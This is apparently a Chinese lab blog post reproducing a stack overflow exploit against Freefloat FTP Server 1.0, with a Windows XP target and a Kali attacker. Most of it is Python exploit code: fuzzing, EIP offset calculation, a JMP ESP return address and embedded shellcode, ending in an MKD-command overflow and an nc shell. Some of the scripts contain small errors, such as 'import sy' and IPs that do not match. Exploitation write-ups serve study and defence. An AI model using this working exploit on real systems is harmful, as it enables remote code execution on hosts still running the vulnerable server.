Freefloat FTP Server 1.0漏洞(软件溢出漏洞)复现

一、实验环境

    1.WinXPenSP3  

    2.Kali linux 2023.1

二、复现过程

1.启动xp靶机上的FTPServer.exe

2.在kali上使用ftp尝试登录

3.再尝试接下来尝试使用任意长用户名测试程序是否会溢出

4.构建如下python并运行
import socket

s = socket.socket()

connect = s.connect(('192.168.88.131', 21))

shellcode = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

data = b"USER " + shellcode + b"\r\n"

s.send(data)

freefloatftpserver1.0执行到地址“41414141”处时无法继续,这是因为原本保存下一条地址的EIP寄存器中的地址被溢出的字符A所覆盖。“\x41”在ASCII表中表示的正是字符A,也就是说,现在EIP寄存器中的内容就是AAAA,而操作系统无法在这个地址中找到一条可以执行的指令,从而引发软件崩溃。

5.切换到/usr/share/metasploit-framework/tools/exploit目录
运行./pattern_create.rb 脚本生成包含500个字符串的文本

6.利用刚才的python脚本,这生成的字符串替代一长串A

程序再度崩溃,这次地址为37684136

7.接下来使用.pattern_offset.rb计算地址的偏移量

8.构建python脚本验证计算结果
import socket

buff = b"\x41" * 230 + b"\x42" * 4

target = "192.168.85.142"

s = socket.socket()

s.connect((target, 21))

data = b"USER" + buff + b"\r\n"

s.send(data)

s.close()
 


这次崩溃地址为42424242,说明此时EIP寄存器中的地址为BBBB,验证成功

9.使用Immunity Debugger查看JMP ESP指令

10.根据最上端ESP指令的地址7C9D30D7,开始尝试
构建如下python代码,重复之前的步骤

import socket

s = socket.socket()

buff = b"\x41"*230 +b"\xA3\x32\x90\x7C"

data = b"USER " + buff + b"\r\n"

s.connect(('192.168.88.142', 21))

s.send(data)

s.close()

11.运行脚本,发现栈溢出

12.构建新python脚本,将
shellcode = b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4 \xb1"

shellcode += b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"

shellcode += b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"

shellcode += b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"

shellcode += b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"

shellcode += b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"

shellcode += b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"

shellcode += b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"

shellcode += b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"

shellcode += b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"

shellcode += b"\x7f \xe8\x7b\xca"

buff += shellcode

插入之前的脚本中并运行,发现ftp server已经崩溃但没有启动计算器。再启动immuinty debugger调试后发现,是ESP寄存器的地址向后偏移,导致shellcode的代码没有完全载入ESP寄存器中,所以程序没能正常运行。
13.再向程序添加20个”\x90”(空指令),重新运行python,程序成功执行,但没有看到计算器

14.使用新python脚本尝试

import socket

import sy

shellcode = (

"\xb8\x9f\xdb\xc8\xe7\xdb\xdc\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"

"\x53\x31\x42\x12\x83\xea\xfc\x03\xdd\xd5\x2a\x12\x1d\x01\x28"

"\xdd\xdd\xd2\x4d\x57\x38\xe3\x4d\x03\x49\x54\x7e\x47\x1f\x59"

"\xf5\x05\x8b\xea\x7b\x82\xbc\x5b\x31\xf4\xf3\x5c\x6a\xc4\x92"

"\xde\x71\x19\x74\xde\xb9\x6c\x75\x27\xa7\x9d\x27\xf0\xa3\x30"

"\xd7\x75\xf9\x88\x5c\xc5\xef\x88\x81\x9e\x0e\xb8\x14\x94\x48"

"\x1a\x97\x79\xe1\x13\x8f\x9e\xcc\xea\x24\x54\xba\xec\xec\xa4"

"\x43\x42\xd1\x08\xb6\x9a\x16\xae\x29\xe9\x6e\xcc\xd4\xea\xb5"

"\xae\x02\x7e\x2d\x08\xc0\xd8\x89\xa8\x05\xbe\x5a\xa6\xe2\xb4"

"\x04\xab\xf5\x19\x3f\xd7\x7e\x9c\xef\x51\xc4\xbb\x2b\x39\x9e"

"\xa2\x6a\xe7\x71\xda\x6c\x48\x2d\x7e\xe7\x65\x3a\xf3\xaa\xe1"

"\x8f\x3e\x54\xf2\x87\x49\x27\xc0\x08\xe2\xaf\x68\xc0\x2c\x28"

"\x8e\xfb\x89\xa6\x71\x04\xea\xef\xb5\x50\xba\x87\x1c\xd9\x51"

"\x57\xa0\x0c\xcf\x5f\x07\xff\xf2\xa2\xf7\xaf\xb2\x0c\x90\xa5"

"\x3c\x73\x80\xc5\x96\x1c\x29\x38\x19\x37\x19\xb5\xff\x5d\x4d"

"\x90\xa8\xc9\xaf\xc7\x60\x6e\xcf\x2d\xd9\x18\x98\x27\xde\x27"

"\x19\x62\x48\xbf\x92\x61\x4c\xde\xa4\xaf\xe4\xb7\x33\x25\x65"

"\xfa\xa2\x3a\xac\x6c\x46\xa8\x2b\x6c\x01\xd1\xe3\x3b\x46\x27"

"\xfa\xa9\x7a\x1e\x54\xcf\x86\xc6\x9f\x4b\x5d\x3b\x21\x52\x10"

"\x07\x05\x44\xec\x88\x01\x30\xa0\xde\xdf\xee\x06\x89\x91\x58"

"\xd1\x66\x78\x0c\xa4\x44\xbb\x4a\xa9\x80\x4d\xb2\x18\x7d\x08"

"\xcd\x95\xe9\x9c\xb6\xcb\x89\x63\x6d\x48\xb9\x29\x2f\xf9\x52"

"\xf4\xba\xbb\x3e\x07\x11\xff\x46\x84\x93\x80\xbc\x94\xd6\x85"

"\xf9\x12\x0b\xf4\x92\xf6\x2b\xab\x93\xd2")

#----------------------------------------------------------------------------------#

# Badchars: \x00\x0A\x0D                                                           #

# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #

# shellcode at ESP => space 749-bytes                                              #

#----------------------------------------------------------------------------------#

buffer = "\x90"*20 + shellcode

evil = "A"*247 + "\x25\x10\xc2\x77" + buffer + "C"*(749-len(buffer))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.85.142',21))

s.recv(1024)

s.send('USER anonymous\r\n')

s.recv(1024)

s.send('PASS anonymous\r\n')

s.recv(1024)

s.send('MKD ' + evil + '\r\n')

s.recv(1024)

s.send('QUIT\r\n')

s.close;

成功,再使用nc连接拿到权限

  • 16
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值